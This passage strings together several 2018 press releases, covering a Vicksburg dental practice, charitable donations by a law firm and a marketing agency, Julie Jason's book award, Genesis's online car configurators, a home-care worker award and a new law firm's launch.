Missouri. More information on the company can be found at http://www.drtstrategies.com. Dr. Kenneth Nash, Dentist in Vicksburg, MS, Attends the ADA Annual Meeting From orthodontics, to laser gum disease treatment, to professional teeth whitening, this team offers the care patients need for aesthetic and healthy smiles that last. Vicksburg, MS dentists, Dr. Kenneth Nash and Dr. Jonathan Nash recently attended the 2018 annual conferences for the American Dental Association (ADA) and American Academy of Implant Dentistry (AAID). Always on the forefront of the latest advancements in cosmetic, general and implant dentistry, Nash Family Dentistry is excited to apply modern, minimally invasive and lasting solutions for healthy smiles. Both prestigious organizations, the American Dental Association and the American Academy of Implant Dentistry have been defining the dental field for decades. Providing continuing education courses and research opportunities, their premier events are their annual conferences. Dr. Jonathan Nash attended the 67th annual AAID Annual Meeting in Dallas, TX. This four-day event featured over 50 accomplished speakers. Dedicated to the art of implant dentistry, the AAID Annual Meeting covers numerous topics in detail including full arch rehabilitation, bone grafting, precise prosthetics and guided dental implant surgery. A trusted dentist in Vicksburg, MS for the last two decades, Dr. Kenneth Nash is always seeking new opportunities to grow and offer modern treatments to his patients. To this end, he recently attended the ADA Annual Meeting in Honolulu, HA. This four-day event also offered a variety of continuing education courses for leading dental professionals including endodontics and the digital future of dentistry. Drs. Nash offer a variety of general dental care and dental implants treatments at their modern practice, Nash Family Dentistry. Trusted in offering the full dental implants experience, they provide tooth extractions, bone grafting, dental implant placement and restorations all in one office. From orthodontics, to laser gum disease treatment, to professional teeth whitening, this team offers the care patients need for aesthetic and healthy smiles that last. To learn more about their general or implant dentistry treatments, visit http://www.vicksburgdentist.com or call 601-634-1812 to schedule a personalized consultation with either skilled dentist in Vicksburg, MS. About the Dentists Nash Family Dentistry is a general practice offering personalized dental care for patients in Vicksburg, MS. Dr. Kenneth Nash, Dr. Jonathan Nash and their team provide patients with the latest in dental technology in a comfortable and welcoming environment. Drs. Nash offer a variety of services including laser dentistry, dental implants, and cosmetic dentistry services, among others. To learn more about the services offered at Nash Family Dentistry please visit the website at http://www.vicksburgdentist.com or call 601-634-1812 to schedule an appointment. Aubrey Connatser of Connatser Family Law Delivers Support for Equal Access to Justice Campaign Aubrey and Adam Connatser of Connatser Family Law have donated $30,000 in support of the Dallas Volunteer Attorney Program (DVAP), the latest in a series of commitments providing more than $180,000 over a five-year period in support of the program and its goal of increasing access to legal aid for Dallas poor families and individuals. As founder and managing member of Connatser Family Law, a leading family law firm serving North Texas, Aubrey Connatser and the firms legal team have been proud to support access to legal services by providing both pro bono legal services and financial support to the DVAP and the Equal Access to Justice Campaign. Creating affordable and free access to legal services for our poorest community members is one of our greatest priorities, said Aubrey Connatser. The question should never be how much legal service can you afford; justice should be available to everyone. The DVAP is a joint initiative of the Dallas Bar Association and Legal Aid of Northwest Texas. The program is the only one of its kind in Texas and brings together the volunteer resources of a major metropolitan bar association with the legal aid expertise of the largest and oldest civil legal aid program in North Texas. The need for legal aid services in Texas is great. With annual poverty incomes of $31,375 for a family of four, justice is a luxury for low and moderate-income families. For more information, or to donate, visit http://www.dallasvolunteerattorneyprogram.org. ABOUT CONNATSER FAMILY LAW, PLLC Connatser Family Law is a North Texas firm specializing in family law matters, ranging from divorce, child custody matter, pre- and post-marital agreement, modification, and collaborative law matter. A U.S. News & World Report Best Law Firm, Connatser Family Law offers a team of deeply-experienced, award-winning attorneys, and is led by managing member and founder Aubrey Connatser. ABOUT AUBREY CONNATSER Ms. Connatser is a board-certified expert in family law with numerous awards and credentials, including: Top 100 Attorneys in Texas, Top 50 Women Attorneys in Texas, and one of the youngest Dallas family lawyers selected to Thomson Reuters Super Lawyers list. She has been chosen among the top 5% of all Texas attorneys for this honor in 2009 through 2011 and 2013-2015. She has been chosen for The Best Lawyers in America (Woodward White), the oldest and most prestigious legal review service, selected one of the Best Lawyers in Dallas by D Magazine. Connatser Family law under the leadership of Aubrey Connatser supports the Dallas Bar Associations Dallas Volunteer Attorney Program and the Equal Access to Justice Campaign. Firewood Marketing has announced that it is donating a total of $50,000 USD in charitable gifts to support five nonprofit organizations as part of its annual Season of Giving program, a key initiative of the agencys Firewood in the Field charitable platform. Employees at the agencys San Francisco home office nominated Project Avary, LifeMoves and ACLU Foundation of Northern California, and employees at Firewoods office in Dublin, Ireland, nominated Womens Aid and CanTeen Ireland to be part of this years charitable donation made by the agency. Each organization will receive a $10,000 USD gift to support their programs to support the community. The selected organizations serve a wide range of families, homeless individuals, victims of domestic violence, teen children with cancer, and other people in need throughout California and Ireland. Firewood Marketing employees shared reasons why they nominated the organizations and how the groups reflected Firewoods values during the agencys holiday party held on November 30 in San Francisco. To learn more about the groups and their programs, visit the following web sites: Project Avary - http://www.projectavary.org LifeMoves - https://www.lifemoves.org ACLU Foundation of Northern California - https://www.aclunc.org Womens Aid - https://www.womensaid.ie CanTeen Ireland - https://www.canteen.ie In other Firewood in the Field charitable efforts, Firewood employees stepped up this year to support numerous community organizations by providing pro bono digital marketing services. Firewoods digital marketing experts offered hundreds of hours of their professional skills to help 12 charitable organizations. Nonprofit organizations may learn more and apply for pro bono digital marketing assistance through the Firewood in the Field program site at https://firewoodmarketing.com/giving-back/. Community involvement and giving back have always been a part of Firewoods mission and we believe it is our responsibility to support organizations that champion human dignity, said Lanya Zambrano, co-founder of Firewood Marketing. We are honored to contribute to these inspiring organizations that are making a difference in the lives of so many people." The charitable efforts are bolstered by a year of growth and expansion at Firewood. The agency recently grew to more than 290 employees and expanded its marketing service offerings across its offices in North America, Ireland and the United Kingdom, and its new offices in New York City and Mexico City, Mexico. About Firewood Marketing Firewood Marketing is a full-service agency built on the belief that good people are good business. A partner to top tech brands, startups, and Fortune 500 companies including Google, LinkedIn, Airbnb, Salesforce and other key clients the agency provides strategy and planning, creative, performance media, and technology services. Founded in 2010, Firewood is headquartered in San Francisco with offices in Mountain View, Calif.; New York, N.Y.; Sandpoint, Idaho; London, England; Dublin, Ireland and Mexico City, Mexico. Learn more at http://www.firewoodmarketing.com. Joel H. Rothstein, chair of global law firm Greenberg Traurigs Asia Real Estate Practice, and Dawn Zhang, co-managing shareholder of the firms Shanghai Office, recently participated in the Asia Legal Business 15th Annual In-House Legal Summit 2018, held on Nov. 22, in Beijing. The summit attracted over 300 in-house legal counsel from leading Chinese state-owned enterprises, publicly listed companies, private companies, as well as from global multinational companies to discuss recent regulatory changes, hot pressing legal issues and best practice solutions in Hong Kong and the region. Rothstein and Zhang held meetings with in-house counsel across a broad spectrum of industries from real estate, technology, manufacturing, and media companies. In addition, Rothstein conducted a comprehensive workshop entitled Real Estate: A Guide for In House Legal Counsel; What You Need to Know. The workshop focused on the real estate issues in house counsel encounter. He covered topics ranging from strategies in leasing, constructing and managing corporate real estate facilities, to real estate due diligence in mergers and acquisition transactions, to legal issues and concerns raised by new types of real estate facilities such as co-working office space, data centers, and logistics facilities. Rothstein is an international real estate and structured finance lawyer with more than 20 years experience in Asia, who advises investment banks, financial institutions, private equity funds, sovereign wealth funds, real estate developers, and investors across all major Asia markets with a particular focus on Greater China, Japan, and South Korea. He also leads the firms practice in advising Asia-based outbound cross-border investors in structuring, implementing, and managing equity and debt investments into the United States, Europe, Latin America, and the Middle East. Zhang has broad experience advising clients on China-related cross-border mergers and acquisitions, restructuring, joint ventures, funds, and general corporate matters. Before joining Greenberg Traurig, she practiced in other international law firms for many years and served as the PRC legal counsel for a multinational corporation, where she handled a wide variety of corporate matters for public and emerging growth companies. About Greenberg Traurig, LLP: Greenberg Traurig, LLP (GT) has more than 2,000 attorneys in 38 offices in the United States, Latin America, Europe, Asia, and the Middle East. GT has been recognized for its philanthropic giving, was named the largest firm in the U.S. by Law360 in 2017, and is among the Top 20 on the 2018 Am Law Global 100. Web: http://www.gtlaw.com Twitter: @GT_Law. The HeroZona Foundation has partnered with the American Legion and the Phoenix Chapter of Kappa Alpha Psi Fraternity, Inc. to participate in the 5th Annual Shop with a Kappa event on Saturday, December 22, 2018. After a shopping spree with the Kappas, pre-selected inner-city students form the Roosevelt School District will attend a lunch, bike giveaway and hear speeches from community leaders at the American Legion Post 65 (1624 e. Broadway Rd.) in Phoenix from 12 to 1:30 p.m. We are excited to spread the holiday spirit and give back this season to deserving students from the Roosevelt School District, says U.S. Army Desert Storm Veteran and HeroZona Foundation Co-Founder, Alan AP Powell. After a $150 shopping spree for Christmas with the Kappas at the South Mountain Target, the students will head over to the American Legion Post 65 to enjoy pizza, soft drinks and wings. The City of Phoenix Police will also be bringing an ice cream truck, so the students can enjoy a sweet treat. This is the time of year for giving and being thankful. America stands on the shoulders of our veterans who serve and protect, there is no greater example than a veterans post in helping those in need, says American Legions Post 65 Commander, Dennis E. Prince Sr. The festivities will also include speeches from community dignitaries, including Arizonas 27th District State Representative, Reginald Bolding Jr.; Kappa Alpha Psi Fraternity Phoenix Chapters Polemarch, Derek Blythe; President & CEO of the HeroZona Foundation, Ronnie R. Williams; American Legions Post 65 Commander, Dennis E. Prince Sr.; President of the Phoenix Chapters National Pan-Hellenic Council, Dr. Eula Saxon Dean; and the City of Phoenixs Executive Assistant Police Chief, Michael Kurtenbach. The men of Kappa Alpha Psi Fraternity have always been pillars in our community. They are legislators, teachers, police officers, pilots, lawyers, businessman and so much more. This event allows the entire community to see the great work they are doing and it brings me cheer to see the smiles on the faces of students who will be receiving gifts and bicycles at this event. When community leaders partner together, we have the ability to make great things happen, says Arizonas 27th District Representative, Reginald Bolding Jr. We really want to encourage children to believe in themselves and that they have a future. We are a community of believers that are here to support them, says the President of the Phoenix Chapters National Pan-Hellenic Council, Dr. Eula Saxon Dean. At the end of the day, the City of Phoenix Police SUVs will deliver brand new bicycles from Bobs Bikes to all the students who participated in the Shop with a Kappa event. The Phoenix Police Department is honored to partner with Kappa Alpha Psi, the HeroZona Foundation, the Travis L. Williams American Legion Post #65 and our amazing community to bring holiday cheer to young people from the Roosevelt School District. We cherish every opportunity we are given to make a difference in our city and to bring a smile to the faces of those we proudly serve, says the City of Phoenixs Executive Assistant Police Chief, Michael Kurtenbach. To learn more about the HeroZona Foundations programs, visit herozona.org. About HeroZona Foundation The HeroZona Foundation has a strong focus on veteran initiatives and honoring those who have served our country and their family members. The nonprofits name reflects that messaging to focus on empowering and celebrating Americas veterans. Their most recent event, the HeroPreneur National Veteran Business Summit, was a three-day Veterans Day engagement with three pillars to empower Arizonas veterans through entrepreneurship, employment and education. The HeroZona Foundations annual Heropreneur National Veteran Business Summit created a multi-day networking experience to improve Americas support of veteran companies through workshops, networking, entrepreneurial connections, and seminars. For more information, visit herozona.org. Julie Jason wins Best Book Award for Retire Securely Jeffrey Keen, President & CEO of American Book Fest, announced Julie Jasons book, Retire Securely: Insights on Money Management from an Award-Winning Financial Columnist, the winner of The 2018 Best Book Award in the Business: Personal Finance/Investing category. Keen pointed out that Ms. Jasons books are consistent award-winners. Since we launched our national book award program 15 years ago, we have not seen a single author win top prize for three consecutive books, as Julie Jason has done, said Keen. Its quite an accomplishment. We salute her and encourage everyone who has an interest in personal finance to read her three books, all winners of the Best Book Award in Business: Personal Finance/Investing category. A proponent of investor protection and financial literacy for all financial backgrounds and ages, Julie Jason heads a fiduciary money management firm (Jackson, Grant Investment Advisers, Inc. of Stamford, CT) for high net worth families. Through her writing, she shares insights gained from a career in money management and law. Retire Securely In Retire Securely, my goal was to introduce concepts that promote both present and future retirement security, such as choosing and paying for a college, said Jason. What does college have to do with retirement? If you make the wrong choices on where to go to college and how to pay for the degree, you can set in motion years of debt management instead of years of compounding. And, choosing a college based on size or location instead of where the jobs are can take someone off track for years, potentially impacting the entire span of a working career. These types of simple but impactful insights all come from Jasons decades of experience working with her money management clients and her law background. In contrast to Jasons other award-winners (The Retirement Survival Guide and Managing Retirement Wealth), which are books that lay out a process, Jasons third book in the series, Retire Securely, provides a quick and easy read of short one-issue insights for anyone who wants to retire someday. As Keen said, Ms. Jasons books offer timely and expert advice on how to navigate the sometimes rough waters of retirement. Highly recommended! American Book Fest is an online publication providing coverage for books from mainstream and independent publishers to the world online community. A complete list of the winners and finalists of The 2018 Best Book Awards are available online at American Book Fest. On Background The 2018 winner is Julie Jason's Retire Securely: Insights on Money Management from an Award-Winning Financial Columnist (Sterling 2018). Jasons Managing Retirement Wealth: An Expert Guide to Personal Portfolio Management in Good Times and Bad (Sterling 2011/2017), won the 2012 award. The 2010 award winner was Jasons The AARP Retirement Survival Guide: How to Make Smart Decisions in Good Times and Bad (Sterling 2009/2017; re-released as The Retirement Survival Guide). These three books, taken together, lay out a roadmap for the future for people of all ages, said Jason. The Survival Guide is just that, a guide its a reference book that readers of all ages (from Millennials to retirees) will want to have on their bookshelves and come back to often as they consider how to secure their retirements. I wrote the book with the decision-maker in mind taking the reader though the information gathering and decision-making process step by step. For example, anyone who is considering buying an annuity will benefit from comparing and contrasting different types of annuities. Checklists and questions simplify the process. The Retirement Survival Guide was also honored with the EIFLE Award (Excellence in Financial Literacy Education), The International Book Award, the National Best Books Award, and the Axiom Business Book Award (2011), the book was also named a Top Ten Business Book in 2010 by Booklist (American Library Association). Managing Retirement Wealth is the sequel to the Survival Guide. This book takes you through the thinking behind how much savings you need to have before you retire, to how to organize and manage your investments after you retire. In Managing Retirement Wealth, I wanted to share the logic behind setting up a plan and a process that delivers retirement security, said Jason. Managing Retirement Wealth also received the EIFLE Award (Excellence in Financial Literacy Education), the International Book Award, the USA Best Books Award, and the Axiom Business Book Award (Silver Medal). Award-winning Column A proponent of financial literacy, Julie Jason writes and lectures on financial topics of interest to everyday people. Her award-winning column, in publication in The Greenwich Time (CT) since 1998 and syndicated nationally with King Features Syndicate since 2013, celebrated a milestone of 1,000 weekly publications in November 2017. Among other awards, the column was honored with the CLARION, symbolizing excellence in clear, concise communications. The IRS recognized the column for providing accurate, timely, informative and helpful tax information to assist taxpayers in understanding their rights and responsibilities under the law. Jason recently began contributing to Forbes.com, where she writes about retirement investing. https://www.forbes.com/sites/juliejason/#32cf4684054a Jason is also the author of You and Your 401(k) (Simon & Schuster 1996); The 401(k) Plan Handbook (Prentice Hall 1997); JK Lassers Strategic Investing After 50 (John Wiley & Sons 2001); and Julie Jasons Guide to Connecticut Probate: What Every Connecticut Family Needs to Know About Probate (LawFirst 2006). Jason contributed Chapter 1 (Achieving Financial Independence: How Women Can Create Retirement Wealth) to Not Your Mothers Retirement, (Sellers 2012) and Chapter 24 (Managing Retirement Wealth Without a Crystal Ball) to 65 Things to Do When You Retire, (Sellers 2014) both Mark Chimsky books. Having gotten her start on Wall Street as a lawyer, Jason moved into money management in the mid-1980s. She founded Jackson, Grant Investment Advisers in Stamford, CT, an SEC-registered investment adviser, in 1992, to provide families an environment free from sales pressures. The firm is a fiduciary boutique where Jasons team manages retirement wealth for a select clientele ($5 million minimum). http://www.jacksongrant.us In contrast to Jasons other award-winners (The Retirement Survival Guide and Managing Retirement Wealth), which are books that lay out a process, Jasons third book in the series, Retire Securely, provides a quick and easy read of short one-issue insights for anyone who wants to retire someday. Instagram Stories Automotive Video Configurator By integrating innovative technologies... throughout the website redesign, our creative team... has created a fully immersive luxury car buying website that meets every demand of the customer while assisting the needs of Genesis retailers, states Steve Jun, INNOCEAN Worldwide Americas CEO. Holiday car buying season has arrived, and to break through the clutter, INNOCEAN Worldwide Americas launched two new, first-to-market online tools for Genesis Motor America, to make the luxury car shopping experience easier and also more fun. In conjunction with the launch of the new Genesis G70just named MotorTrends 2019 Car of the YearInnocean redesigned the Genesis.com website and took the best gaming technologies and the fastest-growing tool on a social media site, Instagram Stories, and created two new automotive configurators. The first-to-market web-based Automotive Real-Time 3D Configurator can only be found on the updated website, Genesis.com. The Instagram Stories Automotive Video Configurator allows shoppers to personally configure and build their new Genesis exclusively on Instagram Stories. Both Genesis configurators launched at the 2018 Los Angeles Auto Show. As part of the debut of the Genesis Virtual Showroom, car shoppers interact and explore the award-winning Genesis fleet on an 85-inch touchscreen display and immersive virtual experience. These exciting new car shopping experiences embrace the Genesis luxury brand as forward-thinking, and customer and technology focused. In developing the configurators, Genesis creative agency of record INNOCEAN Worldwide Americas, enriches the Genesis car shopping and brand experience through the use of cutting-edge technologies. INNOCEAN led the creative and concept design for the two configurators and the new Genesis.com website. MediaMonks, Acme Digital Content and Digital Giant worked on the WebGL Game Engine for the Automotive Real-Time 3D Configurator on Genesis.com, while Digital Giant provided the CG renders for the Instagram Stories Automotive Video Configurator. By integrating innovative technologies and the Genesis luxury message throughout the website redesign, our creative team has done what has never been done before: created a fully immersive luxury car buying website that meets every demand of the customer while assisting the needs of Genesis retailers, states Steve Jun, INNOCEAN Worldwide Americas CEO. Genesis.com Automotive Real-Time 3D Configurator When visiting the newly updated Genesis.com website, shoppers will view a new Genesis G70, Genesis G80 or Genesis G90 set on a digitally designed depiction of a Seattle streetscape. They can then build their perfect Genesis, by exploring inside and outside the car, activating animations that emulate real vehicle actions including headlights, sunroof, dashboard, wipers and they can even pop the trunk open. Upon final completion, users receive a comprehensive summary of their selections, including an image capture of their actual new car build that they can share with friends and family. Genesis customers expect personalized and innovative shopping possibilities at every level of the car ownership experience. Weve redesigned our website to fully engage with them, states Kate Fabian, Head of Marketing, Genesis Motor America. The 3D Configurator is uniqueprior to stepping foot into one of our retailers, it allows our customers to fully interact with every element of our full Genesis fleet on their schedule, enabling them to virtually tailor their exact vehicle of choice on their terms. Meeting the needs of todays sophisticated car buyer, the new Automotive Real-Time 3D Configurator is fully web-based, easily accessible on any computer or mobile device, with no need to register, install any plug-ins, software or download any applications. Using the equivalent technology as many of the most sophisticated gaming platforms, Genesis customers now gain a rich and immersive control of their luxury car shopping experience in real-time exploration. All graphics including the interiors and exteriors of their sedan of choice, the city background environment, all textures, materials, cameras, and light sources are rendered in real-time, so shoppers are able to quickly move around and build their car to their desired specifications. INNOCEAN built the new Genesis.com website with the flexibility to move forward with changing technologies and the demands of the luxury car shopper. The new website and Automotive Real-Time 3D Configurator give car shoppers and Genesis retailers an additional platform that maximizes the customer/retailer experience. The car dealership of the future is all about expanding and unifying the showroom experience across physical and digital using the latest technologies. An animated, completely configurable 3D car brings the customer much closer to the feel of visiting a dealership and selecting their modelcreating a luxury online experience for a luxury car brand, said Wesley ter Haar, COO and Co-Founder, MediaMonks. Instagram Stories Automotive Video Configurator The use of Instagram Stories is growing exponentially, but never before have car shoppers been able to use Stories to personalize and build a luxury car. Initially tied into the release of the new Genesis G70 luxury sport sedan, INNOCEAN created the first-ever Instagram Stories Automotive Video Configurator by tapping into the rapid adoption of this growing social media tool. This exciting new configurator allows car shoppers the opportunity to use one of their favorite social media apps to build their new luxury Genesis G70 just by tapping through a series of Instagram Stories pages found at @build.your.g70. With our customers spending more time on social media, Instagram Stories was the perfect outlet for us to design a configurator specifically for the Instagram user, adds Fabian. Exclusively found on the Genesis Instagram Stories, the Instagram Stories Configurator lets car shoppers tap different prompts to arrive on a physically accurate digital model of a new Genesis G70 on a Seattle city street. There, they will be prompted through various Instagram Stories pages to customize their new car, selecting a variety of options for the exterior color and interior colors. Shoppers will then tap their screen and be taken to the newly updated Genesis.com to continue building their Genesis G70 in 3D. Through the efforts of INNOCEAN and our brand partners, the Genesis configurators have been created with the most up-to-date technologies and designed with dynamic creativity, artistry and original styling, concludes Jun. Credits: For the Genesis.com/Real-Time 3D Configurator: INNOCEAN Worldwide Americas Bob Rayburn, VP, Executive Creative Director Kelly Kliebe, VP, Group Creative Director Stephanie Godfrey, Group Brand Director Katherine Karapetian, Associate Brand Director Claire Tallerico, Brand Manager Lupe Escobar, Senior Project Manager Nathan Seymour, Digital Producer Kristen Miller, Senior CGI Producer Barb Sanson, Director, Art Production Ashley Hadzopoulos, Executive Producer AJ Karim, VP, Digital Production Eric Spiegler, Senior Copywriter Slava Morshch, Senior Art Director Eric Hallmann, Senior Art Director Lindsay Matheson, UX Research Lead David Lim, UX Designer Lawrence Matthews, Digital Studio Supervisor Jammy Yang, Web Ops Publisher Kim Harris, QA Analyst Jason Lee, Director, Web Ops Stephanie Krantz, Data Science Lead Jon Farjo, VP, User Experience, Damien Dalli, Director, User Experience Mike Stone, Senior UX Designer Tai Ferrer, Product Manager MediaMonks Iain Devenport, Program Manager Edward Davies, Project Manager Gradwell Sears, Creative Director Jason Lentink, Technology Director Acme Digital Content Kevin Malling, Executive Producer Brandon Acree, Senior Modeler John Wang, Senior 3D Generalist Tyson Hill, Senior 3D Artist Digital Giant For the Instagram Stories Configurator: INNOCEAN Worldwide Americas Kelly Kliebe, VP, Group Creative Director Bob Rayburn, VP, Group Creative Director Stephanie Godfrey, Group Brand Director Nazir Akil, Senior Brand Manager, Social Stephanie Tagle, Strategy Director Kristen Miller, Senior CG Producer Johnny Nguyen, Senior Art Director Nicole Barlow, Copywriter Mike Stanescu, Community Manager, Social Lisa Puig, Media Director Lindsay Matheson, User Experience Lead Digital Giant About: Genesis Motor America Genesis Motor America, LLC is headquartered in Fountain Valley, Calif. Genesis is a global luxury automotive brand that delivers the highest standards of performance, design and innovation. All Genesis vehicles sold in the U.S. are covered by an industry-leading warranty with enhanced roadside assistance and concierge services. In just the first half of 2018, Genesis has won highest-ranked brand in the automotive industry awards for quality and owner satisfaction from industry experts such as J.D. Power, AutoPacific, and Strategic Vision. For more information on Genesis and its new definition of luxury, please visit http://www.genesis.com Please visit our media site for the latest news at http://www.genesisnewsusa.com Genesis Motor America on Twitter YouTube Facebook | Instagram Innocean Worldwide Founded in 2009, INNOCEAN Worldwide Americas is headquartered in Huntington Beach, California, with offices in New York, Chicago, and Dallas. With 400 employees, INNOCEAN Worldwide Americas is part of the INNOCEAN Worldwide network and currently serves as lead agency for Hyundai Motor America and Genesis Motor America, as well as partners with KIA Motors America and Hankook Tire. MediaMonks MediaMonks is a global creative production company that partners with clients across industries and markets to craft amazing work for leading businesses and brands. Their integrated production capabilities span the entire creative spectrum, covering anything you could possibly want from a production partner, and probably more. From creative campaigns and content to bespoke development and design, MediaMonks works above the line and below the fold at the intersection of creativity and technology. Operating across teams, time zones, and technologies with an incredible in-house team of 800+ Monks. Their work is recognized by advertising and craft awards around the world, producing 128 Cannes Lions and 200+ FWAs to date. Founded in 2001 and rooted in digital, you can find MediaMonks anywhere on the Web as well as in Los Angeles, New York, Mexico City, Buenos Aires, Sao Paulo, London, Amsterdam, Stockholm, Dubai, Singapore and Shanghai. In July 2018, MediaMonks joined forces with S4 Capital to build out the production platform of the future. Under direction of Sir Martin Sorrell, MediaMonks is increasing its firepower on all fronts, adding new Monks, monasteries and services such as data analytics and digital media buying. Acme Digital Content Acme DC is a cutting-edge 3D studio comprised of talented and dedicated artists working together to create superb digital content. They are specialists in the capture and conversion of digital assets, as well as the creation of 3D photo-real custom digital content. They have created detailed automotive models for film, broadcast and print. Digital Giant Digital Giant is a multi-discipline imaging and production studio cofounded by friends and experienced industry professionals Dallas Carroll and Alex Pickup, working primarily out of Los Angeles and London. The Digital Giant ethos is to approach every project with freshness and adaptability, using their broad knowledge of production methods and processes to achieve great results and make things as straightforward and streamlined as is possible. I am honored to be recognized as Interim HealthCares Paraprofessional of the Year and grateful to be a part of a community that allows me to grow and develop as a healthcare professional, said Evelyne. Interim HealthCare Inc., the nations leading franchise network of owners providing homecare, senior care, hospice and healthcare staffing services, today announced Evelyne A. Ello Hart as its 2018 Paraprofessional of the Year. Evelyne joined Interim HealthCare of Spokane as a Certified Home Care Aide in January of 2017. This honor is given to an individual that provides exemplary patient care and continuously demonstrates the H.E.A.R.T. qualities of Interim HealthCare Paraprofessionals, which stands for Honorable, Experience, Ability, Reliability and Training. Paraprofessionals are an important part of the way we deliver high-quality, compassionate and professional care to our patients, and were excited to honor Evelyne who continues to go above and beyond for our clients, said Paula Sweeney, Vice President of Operations at Interim HealthCare in Spokane, Washington. We are so fortunate that Evelyne has chosen Interim HealthCare as her employer of choice and could not think of a more deserving person. Evelyne has a doctorate in leadership studies and has completed the Certified Nursing Assistant program. She is also the recipient of the Employee of the Quarter honor for the fourth timea new office record. I am honored to be recognized as Interim HealthCares Paraprofessional of the Year and grateful to be a part of a community that allows me to grow and develop as a healthcare professional, said Evelyne. I became a paraprofessional because I wanted to make a difference in the lives of patients and I feel incredibly lucky to do what I love each and every day. About Interim HealthCare Inc. Interim HealthCare Inc., founded in 1966, is a leading national franchisor of home care, hospice and healthcare staffing. It is part of Caring Brands International which also includes UK-based Bluebird Care and Australia-based Just Better Care, both well-known franchise brands in their countries. With more than 530 franchise locations in seven countries Caring Brands International is a global health care leader. Interim HealthCare in the United States is unique in combining the commitment of local ownership with the support of a national organization that develops innovative programs and quality standards that improve the delivery of service. Franchisees employ nurses, therapists, aides, companions and other healthcare professionals who provide 25 million hours of home care service to 190,000 people each year, meeting a variety of home health, senior care, hospice, palliative care, pediatric care and healthcare staffing needs. For more information or to locate an Interim HealthCare office, visit http://www.interimhealthcare.com. John Norman, who has built, rehabilitated, and modernized banks and financial institutions all over the world, has completed his new book Between Iraq and a Hard Place: an intriguing story about Norman's leading an escape across two deserts and arriving five days later to safety in Jordan. Norman shares, On August 2, 1990, Saddam Hussein launched an invasion of Kuwait that ransacked the country, killed scores of innocent people, and destroyed the countrys petroleum infrastructure. Eventually bringing together an allied coalition to turn back Saddams forces and free Kuwait. But how many people actually know the events occurring in Iraq in the year preceding the invasion from inside the ruling party? Published by New York City-based Page Publishing, John Normans riveting, real-life tale of what life was like for a then peace-loving people, the regime and how it operated, the betrayals, the Super Gun, Uday Hussein, the gassing of the Kurds at Halabja, the WMD and the destruction of this stockpile by the US military that caused Gulf War syndrome, and the after effects on our troops which the US government denied for years and years. Norman never returned to Iraq after his escape, but shortly after Desert Storm he did go to perform a similar assignment in the Kingdom of Saudi Arabia while the oil wells were still on fire in the desert. There, he was also an insider to the workings of the government, the attempt to recover the stolen gold, the corruption in the ruling family, the hypocrisy of the country, and the plight of the Palestinian people working and living in the kingdom for backing Iraq in its war with the allies. Although Norman waited a quarter of a century to publish this book for fear of retribution for the material in it, he hopes this story sheds light on a war and the destruction of a nation and its people that really did not have to be fought at all. Readers who wish to experience this thrilling story can purchase Between Iraq and a Hard Place at bookstores everywhere, or online at the Apple iTunes store, Amazon, Google Play or Barnes and Noble. For additional information or media inquiries, contact Page Publishing at 866-315-2708. About Page Publishing: Page Publishing is a traditional New York based full-service publishing house that handles all of the intricacies involved in publishing its authors books, including distribution in the worlds largest retail outlets and royalty generation. Page Publishing knows that authors need to be free to create - not bogged down with complicated business issues like eBook conversion, establishing wholesale accounts, insurance, shipping, taxes and the like. Its roster of authors can leave behind these tedious, complex and time consuming issues, and focus on their passion: writing and creating. Learn more at http://www.pagepublishing.com. Jackson Phillips, Esquire, of JP Law is ready to fight for your rights. Welcome to a Law Firm that Cares More, Works Harder, and Charges Less The Law Offices of Jackson Phillips, Esquire, LLC ("JPLaw") opened their doors for business over two weeks ahead of their announced launch date of January 2, 2019. JPLaw is an old-fashioned general practice law firm that gives consultations on legal problems across the board and helps potential clients find the lawyer best-suited to their issue- even if that lawyer is employed by a direct competitor. As a new firm, JPLaw cannot (nor should it) promote itself as being an "expert" in any practice area. JPLaw has no statistical data, but its professional projections anticipate over 90% of its business coming from the Family Law arena- an area that Jackson Phillips, Esquire, CEO and sole proprietor describes as being "...a natural fit because of my desire to help people, one person at a time." The firm also anticipates a smattering of clients in personal injury law as well as real estate and general civil litigation. Helping people is something this firm has put a lot of thought into. JPLaw appears dedicated to helping with general charitable causes. Its website, http://www.jacksonphillipsesq.com, promises to donate 10% of all yearly profits to charity. More specifically, the website reads: "The two charities selected for equal donations are the American Foundation for Suicide Prevention (AFSP) and the Brain and Behavior Research Foundation (BBRF). AFSP is an organization devoted to raising awareness, funding scientific research, and providing resources and aid to those affected by suicide, and BBRF is an organization dedicated to funding cutting-edge research to find cures for mental illnesses. As an attorney with bipolar disorder, I am concerned both with heavily-funded research and with eliminating the stigma associated with the condition." Mr. Phillips candidly admits that he chose those particular firms because, as a an attorney who suffers from bipolar disorder (a rare creature), he can personally identify with the horror of suicidal thoughts that won't go away, and he has fallen asleep many nights to hopes of a medical breakthrough that would allow him to be more "normal." When asked whether his openness about mental illness will cause him to lose business, Mr. Phillips said, "That is for God to know. I make no representation to know the answer. However, I do represent that I regularly and passionately attack my mental illness with psychiatry, group sessions, and periods of reflection built into my day at reasonable intervals. Candidly, I would argue that the insane lawyers are the ones with the nerve to charge $400 per hour or more, merely CAPITALizing on an often forgotten truth about CAPITALism. It only works in a society where people operate according to moral obligations that prevent them from gobbling up every resource in sight like a greedy-lawyer versions of Pacman. Ironically, the $75 dollars per hour I charge seems quite sane, don't you think?" And there it is, the remarkable hourly rate of $75 that undercuts competing rates by so much that it actually appears to be a moral decision- not a business decision. The hourly rate is just one example of JPLaw having stated policies to its own direct disadvantage and for the purpose of improving the customer experience: Example: Any client who calls JPLaw and gets no return call within 24 hours gets the entire representation free. To quote Mr. Phillips, "You have a right to talk to your lawyer when you want to, not when they are free." Example: JPLaw schedules consultations 24/7, making appointments around the clock to cater to night shift workers as well as those of us who live by day. When asked what precipitated the early start, Mr. Phillips said that, "The phones were a'ringin, and I was ready to go." There is one ideal that tops JPLaw's client-centered priority. JPLaw has made it clear on its website that its number one obligation is to the truth. It, "will offer a vigorous representation... within the Model Rules and our collective conscience." Well, there is a new law firm in the Tri-State area. From the looks of things, it might make a splash in the legal community. One of 2000 entries in the 2018 Best Book Awards, this award-winning autobiographical novel by Lee Kessler shares actress Grace Archers emotional journey of self-discovery. Set in the Alps, depressed, disillusioned and emotionally paralyzed by a recent loss and betrayal, Grace is rescued by Klaus Urhabera mysterious man who seems to know more about her than she knows about herself. With him, she embarks upon a romantic, dangerous journey. Her quest leads her to answers to questions many of us face today: What do you do when hope fades? Where do you go when you no longer believe in the future? Readers praise Kesslers storytelling ability: I found myself relating on levels I have never experienced with any other book. This is a testament to Lee Kessler's depth of understanding of the human soul, inextricably linked with her extraordinary storytelling 